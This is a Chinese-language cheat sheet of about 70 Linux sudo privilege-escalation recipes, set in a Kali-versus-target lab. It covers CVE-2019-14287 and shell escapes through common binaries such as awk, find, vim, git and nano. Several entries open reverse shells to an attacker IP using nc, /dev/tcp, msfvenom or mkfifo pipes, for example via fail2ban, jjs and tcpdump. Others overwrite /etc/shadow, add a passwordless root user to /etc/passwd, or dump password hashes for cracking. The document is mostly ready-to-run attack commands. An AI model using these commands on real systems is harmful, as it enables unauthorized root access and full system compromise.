Linux提权-70种sudo提权汇总
Linux 提权-sudo
命令有 sudo 的权限,我们该如何进行提权呢?
跟着红队笔记大佬,汇总了一下当我们有sudo -l
时,70条命令可以提权的sudo风暴
1) CVE-2019-14287
要求:sudo 版本 <= 1.8.28
sudo -l
看到
(ALL,!root) NOPASSWD:/bin/bash
解释:可以用任何 非root用户
执行 /bin/bash
命令,也就是我们可以切换到任何非 root 用户
执行:
sudo -u#-1 /bin/bash
因为 sudo 算法比较特殊,他会把-1 看成 0,所以我们就获得了 root 的/bin/bash
2)apt
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
启动一个 /bin/bash
会话
3)apache2
sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmk$OXA.dwMe0AcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::',perhaps misspelled or defined by a module not included in the server configuration
可以看到它会暴露出 /etc/shadow
第一行的信息。
把引号里的 hash 值,拿到去 john 破解,破解出来就可以提权到 root,破解失败就不可以。
4)ash
sudo ash
ash 本身就是一个 shell
5)awk
sudo awk 'BEGIN {system("/bin/bash")}'
传递给 awk,参数执行命令
6)base64
sudo base64 /etc/shadow | base64 -d
可以用 base64 查看 /etc/shadow
文件,之后去破解 hash 值,完成提权
7)bash
sudo bash
8)cp
mkpasswd -m sha-512 123456
$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/
TF=(mktemp)
echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > $TF
sudo /usr/bin/cp $TF /etc/shadow
mkpasswd 生成密码的 hash 值,再把密码按照 /etc/shadow
的格式写入 mktemp 临时生成的文件中,在通过 cp 命令覆盖掉原来的 /etc/shadow
文件
需要注意的是:
这种操作是有损的,因为他是覆盖掉我们原有的 /etc/shadow
文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户
9)cpulimit
sudo cpulimit -l 100 -f /bin/bash
10)curl
kali 准备
mkpasswd -m sha-512 123456
$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/
echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > root_shadow
php -S 0:80
靶机执行:
sudo curl http://192.168.84.128/root_shadow -o /etc/shadow
192.168.84.128
是 kali 的 ip 地址,-o 指定覆写文件
需要注意的是:
这种操作是有损的,因为他是覆写我们原有的 /etc/shadow
文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户
11)date
sudo date -f /etc/shadow
-f 指定从文件中读取时间
报错,但会暴露出 root 用户的 hash 值,把 hash 值复制出来,用 john 破解,破解成功可以提权,破解失败就不可以
12)dd(Data Duplicator)
可以用来进行数据备份、克隆磁盘、创建 ISO 镜像文件等操作。
mkpasswd -m sha-512 123456
$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/
echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' | sudo dd -of=/etc/shadow
需要注意的是:
这种操作是有损的,因为他是覆写我们原有的 /etc/shadow
文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户
13)dstat
它有参数可以指定插件
find / -name dstat -type d 2> /dev/null
/usr/share/dstat
vim dstat_lingx5.py
写入
import os; os.execv("/bin/bash",["bash"])
复制到插件目录
cp dstat_lingx5.py /usr/share/dstat
执行
sudo dstat --lingx5
14)ed
是一个编辑器
sudo /usr/bin/ed
!/bin/bash
进入 ed 编辑模式,用 !
号告诉系统,启动系统命令
15)env
sudo env /bin/bash
16)exiftool
vi payload
写入
(metadata "\c${system('/bin/bash')};")
执行
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
sudo exiftool exploit.djvu
17)expect
sudo expect -c "spawn /bin/bash;interact"
18)fail2ban
Fail2ban
是一款流行的开源入侵防护软件,用于保护服务器免受暴力破解等攻击。它再出发特定的告警后,会执行相应的规则
a) 更改 fail2ban 配置
find / -name "fail2ban*" -type d 2> /dev/null
/etc/fail2ban
查看是否可写
find /etc -wirtable -type d 2> /dev/null
/etc/fail2ban/action.d
我们可以修改 action.d
,他是出发告警后,规定执行规则的脚本目录,里边的 iptables-multiports.conf
规定了具体的执行
查看触发规则
vim /etc/fail2ban/jail.conf
执行
mv iptables-multiports.conf iptables-multiports.conf.bak
cp iptables-multiports.conf.bak iptables-multiports.conf
这样 iptables-multiports.conf
这个文件我们就可以编辑了,这个文件的属组就属于我们了
编辑
vi iptables-multiports.conf
# 找到actionban的一行,他是决定我们触发告警后,fail2ban具体要执行命令的
# 改为
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 4444 > /tmp/f
192.168.84.128
是 kali 攻击机
重启服务
sudo fail2ban restart
b) kali 触发告警
先建立监听, 端口与编辑的 actionban
的端口一致
sudo nc -lvnp 4444
连续 5 次,空密码即可 (这里是根据 /etc/fail2ban/jail.conf
文件里的规则确定的)
sudo ssh lingx5@192.168.84.140
192.168.84.140
是目标机器
反弹回来的 shell 就是 root 权限
19)find
sudo find / -exec /bin/bash \; -quit
20)flock
sudo flock -u / /bin/bash
21)ftp
sudo ftp
ftp> !/bin/bash
22)gcc
sudo gcc -wrapper /bin/bash,-s .
23)gdb
sudo gdb -nx -ex '!bash' -ex quit
24)git
sudo git branch --help
输入
!/bin/bash
25)gzip/gunzip
gzip -f /etc/shadow -t
拿到 hash 值,用 john 去破解
26)hping3
sudo hping3
hping3> !/bin/bash
27)iftop
sudo iftop
!/bin/bash
28)java
在 kail 中,生成反弹 shell
sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f jar -o shell.jar
192.168.84.128
为 kali 的 ip 地址
建立web服务器
sudo php -S 0:80
# 建立监听
nc -lnvp 4444
在目标机器上下载并执行
wget http://192.168.84.128/shell.jar
chmod +x shell.jar
sudo java -jar shell.jar
29)jjs
kali中建立监听
sudo -lvnp 4444
在被攻击机输入
echo "java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/192.168.84.128/4444;cat <&5 | while read line; do \$line 2>&5>&5;done']).waitFor()" | sudo jjs
反弹回来执行,想要提高交互性,我们就在反弹一次
# kali中监听
nc -lvnp 5555
# 4444弹回来的shell执行
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 5555 > /tmp/f
30)journalctl
sudo journalctl
!/bin/bash
31)knife
sudo knife exec -E 'exec "/bin/bash"'
32)less
mktemp ./a
rtcpgt
sudo less rtcpgt
# 输入
!/bin/bash
33)man
sudo man ls
!/bin/bash
34)more
mktemp ./a
rtcpgt
yes root > rtcpgt
sudo more rtcpgt
!/bin/bash
35)mount
sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount
36)mysql
sudo mysql -e '\! /bin/bash'
37)nano
sudo nano
^R
^X
reset;bash 1>&0 2>&0
多按几次回车
38)neofetch
TP=$(mktemp)
echo 'exec /bin/bash' > $TP
sudo neofetch --config $TP
39)nice
sudo nice /bin/bash
40)nmap
TP=$(mktemp)
ehco 'os.execute("/bin/bash")' > $TP
sudo nmap --script=$TP
41)node
sudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"
42)nohub
sudo nohub /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
43)openvpn
sudo openvpn --config /etc/shadow
拿到hash值,到john破解
44)passwd
sudo passwd root
123456
45)perl
sudo perl -e 'exec "/bin/bash";'
46) php
sudo php -r "system('/bin/bash');"
47)pico
sudo pico
^R
^X
reset;bash 1>&0 2>&0
多按几次回车
48)pkexec
sudo pkexec /bin/bash
49)python3
sudo python3 -c "import os;os.system('/bin/bash')"
50)rvim
sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'
51)scp
TP=$(mktemp)
echo 'bash 0<&2 1<&2' > $TP
chmod $TP
sudo scp -S $TP x y:
52)screen
sudo screen
按回车
53)script
sudo script -q /dev/null
54)sed
sudo sed -n '1e exec /bin/bash 1>&0' /etc/hosts
55)service
sudo service ../../bin/bash
56)socat
sudo socat stdin exec:/bin/bash
57)ssh
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
58)ssh-keygen
vim temp.c
写入
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
static void inject()__attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
编译
gcc -shared -fPIC -o temp.so temp.c
提权
sudo ssh-keygen -D ./temp.so
59)strace
sudo strace -o /dev/null /bin/bash
60)systemctl
sudo systemctl
!/bin/bash
61)tcpdump
vim temp.sh
写入
mknod temp_pipe p && /bin/nc 192.168.84.128 4444 0<temp_pipe | /bin/bash 1>temp_pipe
kali建立监听
sudo nc -lvnp 4444
执行
chmod +x temp.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
62)tee
echo 'lingx5::0:0:root:root:/usr/bin/bash' | sudo tee -a /etc/passwd
su lingx5
63)timedatectl
sudo timedatectl list-timezones
!/bin/bash
64)tmux
sudo tmux
65)vi
sudo vi
:!/bin/bash
或
sudo vi -c ':/bin/bash'
66)wall
sudo wall /etc/shadow
看到hash,用john破解
67)watch
sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'
68)wget
TP=$(mktemp)
chmod +x $TP
echo '/bin/bash 1>&0 ' > $TP
sudo wget --use-askpass=$TP 0
69)zip
sudo zip foo /etc/hostname -T -TT 'bash #'
70)xxd
sudo xxd /etc/shadow | xxd -r
拿到hash值,去john破解